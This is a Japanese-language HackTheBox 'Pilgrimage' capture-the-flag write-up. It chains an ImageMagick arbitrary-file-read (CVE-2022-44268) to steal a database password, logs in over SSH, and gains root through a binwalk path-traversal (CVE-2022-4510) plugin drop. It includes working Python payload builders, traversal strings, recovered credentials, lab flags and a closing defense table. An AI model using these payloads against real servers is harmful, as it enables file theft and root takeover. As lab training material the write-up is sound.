HackTheBox: Pilgrimage — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
22(SSH)/80(nginx)
アカウント登録 & ログイン
画像シュリンクアプリ
→
画像シュリンクアプリ
CVE-2022-44268 tEXt profile LFI
悪意PNGアップロード
→
悪意PNGアップロード
SQLite DB窃取・解析
emily:abigchonkyboi123
→
emily:abigchonkyboi123
SSH emily
user.txt ✓
→
user.txt ✓
malwarescan.sh root稼働
binwalk 2.3.2 (脆弱)
→
binwalk 2.3.2 (脆弱)
CVE-2022-4510 PFSトラバーサル
binwalk pluginをroot植付け
→
binwalk pluginをroot植付け
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & サイト確認
BASH
nmap -sV -sC -p 22,80 10.129.92.123 echo "10.129.92.123 pilgrimage.htb" | sudo tee -a /etc/hosts curl -s http://pilgrimage.htb/ | grep title
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh 80/tcp open http nginx <title>Pilgrimage - Shrink Your Images</title>
ℹ️
画像をアップロードするとファイルサイズを圧縮してくれるPHP製Webアプリ。
login.php/register.phpがあり、アカウント登録後に
/へPOSTで画像アップロードできる仕組み。
PHASE 2
CVE-2022-44268: ImageMagick 任意ファイル読み取り
脆弱性の概要
NOTE
ImageMagick 7.1.0-49未満は、PNG画像の "tEXt" テキストチャンクに キーワード "profile" を指定した場合、その値をICCカラープロファイルの ファイルパスとして解釈し、変換処理の中でそのファイルの内容を "Raw profile" として出力PNGに埋め込んでしまう脆弱性がある。 つまり画像変換(今回は「シュリンク」)を行わせるだけで、 サーバー上の任意ファイルの中身を出力画像に混入させられる。
アカウント登録・ログインしてセッションCookieを取得
BASH
curl -s -c cookies.txt -b cookies.txt -X POST \ -F "username=pwn3r2025" -F "password=Pwn3r2025!" \ http://pilgrimage.htb/register.php -D - -L -o /dev/null curl -s -c cookies.txt -b cookies.txt -X POST \ -F "username=pwn3r2025" -F "password=Pwn3r2025!" \ http://pilgrimage.htb/login.php -D - -L -o /dev/null
RESULT
HTTP/1.1 302 Found
Location: /dashboard.php
tEXt profileチャンクを仕込んだ悪意PNGを作成
PYTHON
import struct, zlib
def make_chunk(ctype, data):
return (struct.pack('>I', len(data)) + ctype + data
+ struct.pack('>I', zlib.crc32(ctype+data) & 0xffffffff))
sig = b'\x89PNG\r\n\x1a\n'
ihdr = make_chunk(b'IHDR', struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0))
target = b'/var/db/pilgrimage' # 読みたいファイル
text = make_chunk(b'tEXt', b'profile\x00' + target) # キーワード=profile が鍵
idat = make_chunk(b'IDAT', zlib.compress(b'\x00\xff\xff\xff'))
iend = make_chunk(b'IEND', b'')
open('mal_db.png','wb').write(sig + ihdr + text + idat + iend)
ℹ️
読み取り対象として、このアプリのSQLiteデータベースの実体パス
/var/db/pilgrimageを指定する(アプリ名から命名規則を推測)。
PNGをアップロードし処理結果を取得
BASH
curl -s -b cookies.txt -F "toConvert=@mal_db.png;type=image/png" \ http://pilgrimage.htb/ -D - -o /dev/null | grep -i location
RESULT
Location: /?message=http://pilgrimage.htb/shrunk/6ae2907a90645.png&status=success
BASH (処理後の画像をダウンロード)
curl -s -b cookies.txt "http://pilgrimage.htb/shrunk/6ae2907a90645.png" -o shrunk_db.png
PHASE 3
処理後PNGからSQLite DBを抽出し資格情報を窃取
identify -verbose でRaw profileデータを確認
BASH
identify -verbose shrunk_db.png | grep -A5 "Raw profile"
RESULT
Raw profile type:
20480
53514c69746520666f726d617420330010000101004020200000003d0000000500000000
...
✅
先頭バイト列
53514c69746520666f726d61742033を16進→ASCII変換すると
“SQLite format 3″になる。つまり/var/db/pilgrimageの内容が
SQLiteデータベースファイルそのものであり、LFIが確実に成功している。
16進文字列をパースしてSQLiteファイルを復元
PYTHON
import re
content = open('ident_full.txt').read()
idx = content.find("Raw profile type:")
rest = content[idx:].split('\n')
hex_lines, found_size = [], False
for line in rest[1:]:
s = line.strip()
if not s:
if found_size and hex_lines: break
continue
if not found_size and s.isdigit():
found_size = True; continue
if found_size:
if re.match(r'^[0-9a-fA-F]+$', s):
hex_lines.append(s)
elif hex_lines:
break
data = bytes.fromhex(''.join(hex_lines))
open('pilgrimage.db','wb').write(data)
BASH (確認)
file pilgrimage.db
RESULT
pilgrimage.db: SQLite 3.x database, last written using SQLite version 3034001, ...
usersテーブルを照会して資格情報を取得
BASH
sqlite3 pilgrimage.db "SELECT * FROM users;"
RESULT
emily|abigchonkyboi123
pwn3r2025|Pwn3r2025! (自分で作成したテストアカウント)
🚨
平文パスワードがDBにそのまま保存されている(ハッシュ化されていない)。
emilyというユーザー名は/etc/passwdにもOSアカウントとして
存在する可能性が高く、資格情報使い回しを試す価値がある。
PHASE 4
SSHログイン & user.txt取得
emilyとしてSSHログイン
BASH
sshpass -p 'abigchonkyboi123' ssh emily@10.129.92.123 \ "id; cat /home/emily/user.txt"
RESULT
uid=1000(emily) gid=1000(emily) groups=1000(emily) bef1e1900236ed83557f49f1c08f1af2
user.txt — emily
bef1e1900236ed83557f49f1c08f1af2
PHASE 5
root稼働のマルウェアスキャナーとbinwalkのバージョンを確認
malwarescan.sh の中身と稼働形態を確認
BASH
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh emily@pilgrimage:~$ cat /etc/systemd/system/malwarescan.service
RESULT
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(... sed 抽出 ...)"
binout="$(/usr/local/bin/binwalk -e "$filename")"
...
done
[Service]
User=root
WorkingDirectory=/root/quarantine
ExecStart=/usr/sbin/malwarescan.sh
🚨
shrunk/ディレクトリに新しいファイルが作成されるたびに、
root権限で動くsystemdサービスが自動的にbinwalk -e(埋め込みファイル
抽出)を実行している。つまり画像をアップロードするだけで、
root権限でbinwalkに処理させられる。
binwalkのバージョン確認
BASH
emily@pilgrimage:~$ binwalk --help | head -3
RESULT
Binwalk v2.3.2
🚨
binwalk 2.3.2はCVE-2022-4510(PFSファイルシステム抽出時の
パストラバーサル脆弱性)の対象バージョン。
PHASE 6
CVE-2022-4510: binwalk PFS抽出のパストラバーサル & root.txt
脆弱性の概要
NOTE
binwalk は様々なファームウェアフォーマットを検出・展開できるが、 PFS(Plan 9由来の単純なファイルシステムイメージ形式)の抽出処理が、 ファイル内に記録されたパス文字列を十分に検証していない。 抽出先ディレクトリ(out_dir)との結合前に path.startswith(out_dir) を チェックしているが、結合後にOSがパス文字列中の "../" を解決してしまうため、 "out_dir配下のサブディレクトリ名 + 大量の../ + 絶対パス" という形式の エントリ名を使えば、このチェックを回避して任意の場所にファイルを書き込める。
悪意あるPFSエントリを含むPNGを作成
PYTHON
import struct, zlib
# binwalkが起動時にロードするプラグイン(root権限で実行される)
plugin_code = (
'import subprocess, os\n'
'try:\n'
' subprocess.call(["cp","/root/root.txt","/tmp/.rf"])\n'
' os.chmod("/tmp/.rf", 0o644)\n'
'except Exception:\n'
' pass\n'
).encode()
# out_dir は "/_.extracted/pfs-root" (7階層分深い)
# → pfs-root/ + 7×../ でファイルシステムルートへ到達
traversal_str = 'pfs-root/../../../../../../../root/.config/binwalk/plugins/exploit.py'
traversal_bytes = traversal_str.encode()
fname_len = len(traversal_bytes) + 1 # 文字列 + NULL終端
inode_no = 1 # 非ゼロ必須(パーサーがNULLを辿るため)
fsize = len(plugin_code)
# PFSヘッダ(16バイト): magic(8) + padding(6) + num_files(2byte LE)
pfs_header = b'PFS/0.9\n' + b'\x00'*6 + struct.pack('<H', 1)
# エントリ: path\0 + inode_no(4LE) + foffset(4LE) + fsize(4LE)
entry = (traversal_bytes + b'\x00'
+ struct.pack('<I', inode_no)
+ struct.pack('<I', 0) # foffset
+ struct.pack('<I', fsize))
pfs = pfs_header + entry + plugin_code
# 通常の10x10白PNGの"後ろ"にPFSデータを連結(ポリグロット)
# binwalkはファイル境界を気にせず埋め込みデータを走査するため有効
png = ... # 通常のPNGバイト列
open('bw_exploit.png','wb').write(png + pfs)
ℹ️
PFSヘッダのファイル数フィールドは2バイトLE(4バイトではない)
である点に注意。また
inode_noは非ゼロでなければならない(パーサーの
実装がファイル名長を調べる際にNULL終端まで辿る挙動依存のため)。
エクスプロイトPNGをアップロードしプラグインを植え付け
BASH
sshpass -p 'abigchonkyboi123' scp bw_exploit.png \ emily@10.129.92.123:/var/www/pilgrimage.htb/shrunk/ex.png # inotifywait + binwalk -e の発火を待つ sleep 15 sshpass -p 'abigchonkyboi123' ssh emily@10.129.92.123 \ "ls -la /root/.config/binwalk/plugins/"
RESULT
cannot access '/root/.config/binwalk/plugins/': Permission denied
ℹ️
「No such file or directory」ではなく「Permission denied」
であることがポイント — これはディレクトリ自体は既に作成されている
(トラバーサルによるファイル書き込みが成功した)が、
/root配下なので
emilyからは中を覗けない、ということを意味する。
トリガーPNGをアップロードしbinwalkを再度起動 → プラグイン発火
BASH
sshpass -p 'abigchonkyboi123' scp trigger.png \ emily@10.129.92.123:/var/www/pilgrimage.htb/shrunk/trigger.png sleep 20 sshpass -p 'abigchonkyboi123' ssh emily@10.129.92.123 "cat /tmp/.rf"
RESULT
3b78dbd2683a888ad5c8548afb33b605
✅
通常の画像をアップロードしただけで、malwarescan.shがまた
binwalkを起動 → binwalkが起動時に自分のプラグインディレクトリを
スキャンして植え付けたPythonコードをロード・実行 → root権限で
/root/root.txtを/tmp/.rfにコピーした。
root.txt — root (binwalk PFSトラバーサル経由)
3b78dbd2683a888ad5c8548afb33b605
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — emily
bef1e1900236ed83557f49f1c08f1af2
root.txt — root
3b78dbd2683a888ad5c8548afb33b605
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2022-44268 (ImageMagick 任意ファイル読み取り) | ImageMagick < 7.1.0-49 (画像シュリンク処理) | サーバー上の任意ファイル読み取り | Critical | PNGのtEXtチャンクにkeyword=”profile”を仕込み、変換後の画像にファイル内容を埋め込ませる |
| 平文パスワードの保存 + 資格情報使い回し | アプリDB(/var/db/pilgrimage)とOSアカウント | SSH資格情報の漏洩 | High | 窃取したSQLite DBのusersテーブルから平文パスワードを取得、OSログインにも有効 |
| CVE-2022-4510 (binwalk 2.3.2 PFSパストラバーサル) | binwalk -e によるPFSファイルシステム抽出 | 任意パスへのファイル書込み(root権限) | Critical | 抽出先ディレクトリ名をパス先頭に含めつつ大量の../で脱出し、binwalkプラグインとして任意Pythonコードを配置 |
| root権限の自動処理が信頼できない入力(アップロードファイル)を無条件処理 | malwarescan.sh (inotifywait + binwalk -e) | 権限昇格のトリガー | High | 一般ユーザーがアップロードできる画像ファイルを、root権限のプロセスが無条件に処理してしまう設計 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost追加 | 22(SSH)/80(nginx pilgrimage.htb) |
| 2 | LFI | ImageMagick tEXt profile注入 | SQLite DB (/var/db/pilgrimage) の中身 |
| 3 | 資格情報窃取 | PNG→hex抽出→SQLite解析 | emily:abigchonkyboi123 |
| 4 | フットホールド | SSH | user.txt(emily) |
| 5 | 権限調査 | malwarescan.sh・binwalkバージョン確認 | root稼働の自動binwalk実行を発見 |
| 6 | 権限昇格 | PFSパストラバーサル + plugin植付け | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 既知CVEを含む古いバージョンのImageMagickを使用 | 画像処理ライブラリは定期的に更新し、CVEデータベースと照合する。信頼できない画像入力はサンドボックス化された環境で処理する。 |
| アプリのデータベースに平文パスワードを保存 | パスワードは必ずbcrypt等の適切なハッシュ関数で保存し、平文のまま扱わない。 |
| サービス間でパスワードを使い回している | Webアプリの資格情報とOSアカウントの資格情報を分離し、使い回しを禁止する。 |
| root権限の自動処理プロセスが、一般ユーザーがアップロード可能なファイルを無条件に解析ツール(binwalk)へ渡している | root権限で動くマルウェアスキャン等の自動処理は、専用の低権限サンドボックス内で実行する。使用する解析ツール自体も既知脆弱性が無いか継続的に監視・更新する。 |

